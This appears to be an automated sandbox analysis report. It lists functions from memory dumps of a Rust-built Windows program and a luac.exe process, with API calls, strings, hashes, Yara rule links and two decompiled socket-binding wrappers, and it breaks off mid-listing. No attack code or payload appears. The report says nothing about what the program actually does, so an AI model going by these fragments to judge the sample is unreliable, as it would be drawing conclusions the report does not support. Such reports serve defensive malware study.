Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorExclusiveLastLock$AcquireFrequencyPerformanceQueryRelease
String ID: attempt to divide by zero$called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs
API String ID: 4170693517-1498070664
Opcode ID: c5dced705bc9ef9b829383f8bb6fa690fea9a789bf5af67ec1baba770c26d8f4
Instruction ID: 5881bbab609a133017ef66648cf42a32c472971178e1db77abff1d9893c3d331
Opcode Fuzzy Hash: c5dced705bc9ef9b829383f8bb6fa690fea9a789bf5af67ec1baba770c26d8f4
Instruction Fuzzy Hash: 6941E622B18B4B42FB54CB05A8643A662A5AFD4780F4C4032D94DEBBB5DF3DE845C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656785AD0, Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 336COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF656785E58
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF656785ECE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF656785F3D
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF656785F7D

Part of subcall function 00007FF65677B1A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF656785D03,?,?,?,?,?,?,?,?), ref: 00007FF65677B1D6

EnterCriticalSection.KERNEL32 ref: 00007FF656785FF3
LeaveCriticalSection.KERNEL32 ref: 00007FF65678600F

Strings

called `Option::unwrap()` on a `None` value, xrefs: 00007FF6567859E8, 00007FF656785DCA, 00007FF656785F0B, 00007FF656785FBB
already borrowed, xrefs: 00007FF656785AAE, 00007FF656785EEC, 00007FF656785F9C

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$ErrorLast
String ID: already borrowed$called `Option::unwrap()` on a `None` value
API String ID: 486337731-772495492
Opcode ID: 1c5b9a80ff7dcb9810d1f665401e528af0eb86cfd699e6dd4c84838965280fc2
Instruction ID: d6e4782d418d85d74c0f5e73a99fbbf5e59827ee3b822e43047ff0b6c3f185f1
Opcode Fuzzy Hash: 1c5b9a80ff7dcb9810d1f665401e528af0eb86cfd699e6dd4c84838965280fc2
Instruction Fuzzy Hash: 4FC1E322A08B4681FA64DB21E5743B96391EF54BD4F5C4231DE4DA7BA5DF3EE882C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566D3CD6, Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 356encryptionCOMMON

Download Yara Rule

APIs

CertDuplicateCertificateContext.CRYPT32 ref: 00007FF6566D3D73
CertOpenStore.CRYPT32 ref: 00007FF6566D3D95
CertFreeCertificateContext.CRYPT32 ref: 00007FF6566D3DFF
CertFreeCertificateContext.CRYPT32 ref: 00007FF6566D3EAD

Strings

httphttpswswssfile//, xrefs: 00007FF6566D44DC
Z, xrefs: 00007FF6566D4223

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Cert$CertificateContext$Free$DuplicateOpenStore
String ID: Z$httphttpswswssfile//
API String ID: 3431705244-3984234775
Opcode ID: 2dc4e6e12b0e8780008d8e0aee55bfa0ad8b265c0424db8f7f501f6d749c365a
Instruction ID: 9244bd697d8bcbe7149c910b09364541837e0d782ad5c515c85a59e9bc0190c3
Opcode Fuzzy Hash: 2dc4e6e12b0e8780008d8e0aee55bfa0ad8b265c0424db8f7f501f6d749c365a
Instruction Fuzzy Hash: 9522243290CBC185E3719B14E4513EEBBA0FB99744F089225DBC897B9ADF7AD195CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567795D0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32 ref: 00007FF656779661
ReleaseSRWLockExclusive.KERNEL32 ref: 00007FF65677968A
GetProcessHeap.KERNEL32 ref: 00007FF65677968F
HeapAlloc.KERNEL32 ref: 00007FF65677969F

Strings

called `Option::unwrap()` on a `None` value, xrefs: 00007FF6567796E5
failed to generate unique thread ID: bitspace exhausted, xrefs: 00007FF6567796CB

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocProcessRelease
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 2353542611-1657987152
Opcode ID: c868b6e8a20d95c06ebf3e959ac1f38866e79889ccd3931054631071364f40d5
Instruction ID: 984932d03e3868d311d587e96a70c5fc864f67c85028dbbcdf20a21cbfccd798
Opcode Fuzzy Hash: c868b6e8a20d95c06ebf3e959ac1f38866e79889ccd3931054631071364f40d5
Instruction Fuzzy Hash: CD41F332A0AA4281F7509B10E4202BA63A2FF84794F5C4236E64DE77E4EF3EE501C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65678A850, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678A96A
HeapFree.KERNEL32 ref: 00007FF65678A977

Strings

RUST_MIN_STACK, xrefs: 00007FF65678A870

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID: RUST_MIN_STACK
API String ID: 3859560861-1222364765
Opcode ID: fac668b5d808b2ef28cfc774e9eeffc7a30f43067815f85935fb3cfa763beb6c
Instruction ID: 89d1f15e937a3493435f4a1e9fc03ccf9703a0939073e8eb1531fb773f91722b
Opcode Fuzzy Hash: fac668b5d808b2ef28cfc774e9eeffc7a30f43067815f85935fb3cfa763beb6c
Instruction Fuzzy Hash: 7D319213B0EA4640FE658A05963027553929F41BE0F4D8631C96EA6AE5EE2FE943C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656783C20, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

., xrefs: 00007FF656783D43

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: cc4f5d2157888fbe0f700fa37fc036b640c233b6d82e6a56292bb1226f4d0cc1
Instruction ID: 3d1e939a36e1db9917a0da1d83c2ba31d1d6641d6794170a31160b407e488865
Opcode Fuzzy Hash: cc4f5d2157888fbe0f700fa37fc036b640c233b6d82e6a56292bb1226f4d0cc1
Instruction Fuzzy Hash: 9251D822E18A8282E7705B55E4503BAB3A0FF54750F489130DF8D93691EF7DE991C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656781E80, Relevance: 6.4, APIs: 5, Instructions: 182memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF656781FA8
HeapFree.KERNEL32 ref: 00007FF656781FB5
GetProcessHeap.KERNEL32 ref: 00007FF656781FE7
HeapAlloc.KERNEL32 ref: 00007FF656781FF7
GetProcessHeap.KERNEL32 ref: 00007FF6567820CE

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 95a60a787ea61abe707aac8517bdea5d0a3db15b9875e0ad9eb0a57fcf0ea46b
Instruction ID: 8c4b3f860fa8de9abaab408d9ffcc91389b36c168420037a065932ab3dc78eaf
Opcode Fuzzy Hash: 95a60a787ea61abe707aac8517bdea5d0a3db15b9875e0ad9eb0a57fcf0ea46b
Instruction Fuzzy Hash: 3E719622908B8681E7258B19E4502E9B371FF94788F589231EF8C67765EF3DE6C6C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656781370, Relevance: 6.4, APIs: 5, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FF656781393
GetProcessHeap.KERNEL32(?,?,?,?,?,?,FFFFFFFB,?,?,?,00007FF65677A3B3), ref: 00007FF65678139D
HeapAlloc.KERNEL32(?,?,?,?,?,?,FFFFFFFB,?,?,?,00007FF65677A3B3), ref: 00007FF6567813AD
TlsSetValue.KERNEL32(?,?,?,?,?,?,FFFFFFFB,?,?,?,00007FF65677A3B3), ref: 00007FF6567813E6
TlsGetValue.KERNEL32 ref: 00007FF6567813FF

Part of subcall function 00007FF6567814F0: AcquireSRWLockExclusive.KERNEL32 ref: 00007FF6567814FD

Part of subcall function 00007FF6566DB880: GetProcessHeap.KERNEL32 ref: 00007FF6566DB96A
Part of subcall function 00007FF6566DB880: HeapAlloc.KERNEL32 ref: 00007FF6566DB977

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Value$AllocProcess$AcquireExclusiveLock
String ID:
API String ID: 1969458017-0
Opcode ID: d623b36e07327cfcb20e15cacda4508aa2d39ce149cb7c05e858e444b36d5eca
Instruction ID: 832c3516ac0ebaff39f03379f55adee15d209e506ff74c5e6412514250a8e1d0
Opcode Fuzzy Hash: d623b36e07327cfcb20e15cacda4508aa2d39ce149cb7c05e858e444b36d5eca
Instruction Fuzzy Hash: 18317362B0964741FE54DB52E46037963A1EFC4B98F488035EE4EA77A9DE3EE841C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65678AFD0, Relevance: 6.3, APIs: 5, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678B02A
HeapFree.KERNEL32 ref: 00007FF65678B037

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: b529ef7e991dcd43cc099dac09204781958168fbf9d8b8b28a44c2a950f78c60
Instruction ID: 60f2ac6ea7e7f7faf17c01bf9f2226f54a63bf61918d67ded4d0ff198ebd5bc2
Opcode Fuzzy Hash: b529ef7e991dcd43cc099dac09204781958168fbf9d8b8b28a44c2a950f78c60
Instruction Fuzzy Hash: 9B11E351F2854241F96595525B202B694812F44FC0F1C8130EDBCF7BEAFC3FDA06C200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DB510, Relevance: 6.3, APIs: 5, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,00007FF6566DD990), ref: 00007FF6566DB529
GetProcessHeap.KERNEL32(?,?,?,?,00007FF6566DD990), ref: 00007FF6566DB555
HeapAlloc.KERNEL32(?,?,?,?,00007FF6566DD990), ref: 00007FF6566DB565
GetProcessHeap.KERNEL32(?,?,?,?,00007FF6566DD990), ref: 00007FF6566DB599
HeapFree.KERNEL32(?,?,?,?,00007FF6566DD990), ref: 00007FF6566DB5A7

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4b671dd656d7d7efbd6adadb4fc1bc6a3c9ebd9d70b986cc361462ab5c1a713a
Instruction ID: 6a422fb4783e0f68078a7badd41dd87f743e91f99880c84efb03260183fe56a0
Opcode Fuzzy Hash: 4b671dd656d7d7efbd6adadb4fc1bc6a3c9ebd9d70b986cc361462ab5c1a713a
Instruction Fuzzy Hash: 9D01F553F1A15101FA09E6A36D214F965806F84BE0B4D883AEE2C6778AFD3CD683D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65678A580, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 130COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,00000001,?,?,00000000,00007FF65678A80B), ref: 00007FF65678A70B

Strings

attempt to divide by zero, xrefs: 00007FF65678A6D7
called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs, xrefs: 00007FF65678A72E
<locked>overflow when adding duration to instant, xrefs: 00007FF65678A75C

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID: <locked>overflow when adding duration to instant$attempt to divide by zero$called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs
API String ID: 1452528299-3577697488
Opcode ID: 47fe645c3bc527217ed61a9ee33c26d1ad2fc9d586d8a956c6c4e3b267b0c62f
Instruction ID: d57fd5421e9d0b797f4caebff2f834f7f834260dcf0ae0e699d3161b99e81447
Opcode Fuzzy Hash: 47fe645c3bc527217ed61a9ee33c26d1ad2fc9d586d8a956c6c4e3b267b0c62f
Instruction Fuzzy Hash: 0041D673B08B4346EB14CB54E8647B92365FB447C0F494431DA0EA7BA8EE7ED985C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DB880, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6566DB96A
HeapAlloc.KERNEL32 ref: 00007FF6566DB977

Strings

capacity overflow, xrefs: 00007FF6566DB884
a formatting trait implementation returned an error, xrefs: 00007FF6566DBA05

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: a formatting trait implementation returned an error$capacity overflow
API String ID: 1617791916-1970601451
Opcode ID: 75a4a89b1e2ccd6313be4bce94b6ce6214c6c58765c76fc400441e8a4dbba395
Instruction ID: 0b381a4e118defa9dd54b31d1651569c1d56e48294232ce530d99ebdd0a29aa9
Opcode Fuzzy Hash: 75a4a89b1e2ccd6313be4bce94b6ce6214c6c58765c76fc400441e8a4dbba395
Instruction Fuzzy Hash: B0410C62E08A8245FF548F18E4403F96361EF653A8F1C9231DB5DA72E5EF3EE582C600

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65670E4B9, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 123threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF65670E560

Part of subcall function 00007FF65670E6D3: SwitchToThread.KERNEL32(?,?,?,00000608,00007FF65674168D,?,?,?,?,?,?,00000038,?,00000030,00000000,00007FF6567415A7), ref: 00007FF65670E6F2

Part of subcall function 00007FF65670E74B: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00007FF6566D2A74,?,?,?,?,?,?,?,00007FF6566D22D9), ref: 00007FF65670E75A

Strings

assertion failed: (*tail).value.is_none(), xrefs: 00007FF65670E678
assertion failed: (*next).value.is_some(), xrefs: 00007FF65670E688

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: SwitchThread$AcquireExclusiveLock
String ID: assertion failed: (*next).value.is_some()$assertion failed: (*tail).value.is_none()
API String ID: 250121282-1927134345
Opcode ID: 29f564b125c6c7e1b88170915922083d134d83936b8ed9a417a439714534d530
Instruction ID: a6fea768b58eb9ed0812d30ed33d05466a31f8f3ec9f251c9e20b2d5eefffd55
Opcode Fuzzy Hash: 29f564b125c6c7e1b88170915922083d134d83936b8ed9a417a439714534d530
Instruction Fuzzy Hash: EF51A322909A8581FA268B18E0163B963A0FF94754F4C9531EF8D66361FF3FE586C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65670E6D3, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32(?,?,?,00000608,00007FF65674168D,?,?,?,?,?,?,00000038,?,00000030,00000000,00007FF6567415A7), ref: 00007FF65670E6F2

Strings

assertion failed: (*tail).value.is_none(), xrefs: 00007FF65670E721
assertion failed: (*next).value.is_some(), xrefs: 00007FF65670E731

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: SwitchThread
String ID: assertion failed: (*next).value.is_some()$assertion failed: (*tail).value.is_none()
API String ID: 115865932-1927134345
Opcode ID: 3d0ceba21c4a4d9bc0d373bf6e63976faad31d1ee1f49c5fdc39d3d8880aac7b
Instruction ID: 1ff2445761004b61729a10f74224646cb145f655e09bcf4dcdd553fb92a03049
Opcode Fuzzy Hash: 3d0ceba21c4a4d9bc0d373bf6e63976faad31d1ee1f49c5fdc39d3d8880aac7b
Instruction Fuzzy Hash: 5401D622E0A69681FA589B55E4643BC2350EF44B94F5C8435CA0CB77A1DF3FE891C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567797C0, Relevance: 5.1, APIs: 4, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF656779654), ref: 00007FF6567798D1
HeapReAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF656779654), ref: 00007FF6567798E6
HeapFree.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF656779654), ref: 00007FF656779902
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF656779654), ref: 00007FF656779955

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 1818e5df41cc21484ffa2aafd9ad6078376dfc13833783f9127ceacfa445829b
Instruction ID: 830470de459a3ad8a9d433ebf3fbb00cbbc57d0c9bd18b6455f5a501a0b4acc8
Opcode Fuzzy Hash: 1818e5df41cc21484ffa2aafd9ad6078376dfc13833783f9127ceacfa445829b
Instruction Fuzzy Hash: 4A410C32A0974341FA648B05E0503BAA391EB947D4F5C8034EB9DA7799DF7EE541C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DB800, Relevance: 5.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6566DB81C
HeapReAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6566DB82C
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6566DB83D
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6566DB84A

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: c9e886283cd9ed4f3239c096155d26b2f17f5f3f4be214f8c5938aad1c2cb14e
Instruction ID: 544cc9a9b32a045423cb248504d2878b7cbcb5a3e38aeae4ef914e4a58d6925b
Opcode Fuzzy Hash: c9e886283cd9ed4f3239c096155d26b2f17f5f3f4be214f8c5938aad1c2cb14e
Instruction Fuzzy Hash: B201F762E0964355FB285653A5403B950E18F447C0F2D8039DE5CE3799EE3EE581D702

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: luac.exe PID: 1564 Parent PID: 528 luac.exeCOMMON

Executed Functions

Function 005942F0, Relevance: 3.0, APIs: 2, Instructions: 25
networkCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E005942F0(char _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;
				intOrPtr _t10;
				char _t11;

				_t11 = _a4;
				_t10 = 0;
				E00594630(_t11);
				_t5 = _a12;
				_push(_t5);
				_push(_a8);
				_push( *_t11); // executed
				L00594A7C(); // executed
				if(_t5 < 0) {
					L00594A52();
					_t10 = _t5;
				}
				E00594660(_t11);
				return _t10;
			}

0x005942f1
0x005942f7
0x005942f9
0x005942fe
0x0059430b
0x0059430c
0x0059430d
0x0059430e
0x00594315
0x00594317
0x0059431c
0x0059431c
0x0059431f
0x0059432b

APIs

Part of subcall function 00594630: ioctlsocket.WSOCK32(?,8004667E,00000002), ref: 0059464A

bind.WSOCK32(?,?,00000010), ref: 0059430E
WSAGetLastError.WSOCK32 ref: 00594317

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastbindioctlsocket
String ID:
API String ID: 1498457153-0
Opcode ID: 036a3ca83df02386473efc216931957ab9d482023ddd03f044f9ba79ee1770b9
Instruction ID: 0e34e7049e54258eb6ba517c926e5f8cb3aaf995c89dc982b3ca3f6b822147c9
Opcode Fuzzy Hash: 036a3ca83df02386473efc216931957ab9d482023ddd03f044f9ba79ee1770b9
Instruction Fuzzy Hash: 54E086F6600112679A00EA25FC4AC6F2A9AFEC5314B050438F844C3205EA20EC078FF3

Uniqueness

Uniqueness Score: -1.00%

Function 00594330, Relevance: 3.0, APIs: 2, Instructions: 23
networkCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00594330(char _a4, intOrPtr _a8) {
				intOrPtr _t4;
				intOrPtr _t8;
				char _t9;

				_t9 = _a4;
				_t8 = 0;
				E00594630(_t9);
				_t4 = _a8;
				_push(_t4);
				_push( *_t9); // executed
				L00594A82(); // executed
				if(_t4 < 0) {
					L00594A52();
					_t8 = _t4;
				}
				E00594660(_t9);
				return _t8;
			}

0x00594331
0x00594337
0x00594339
0x0059433e
0x00594347
0x00594348
0x00594349
0x00594350
0x00594352
0x00594357
0x00594357
0x0059435a
0x00594366

APIs

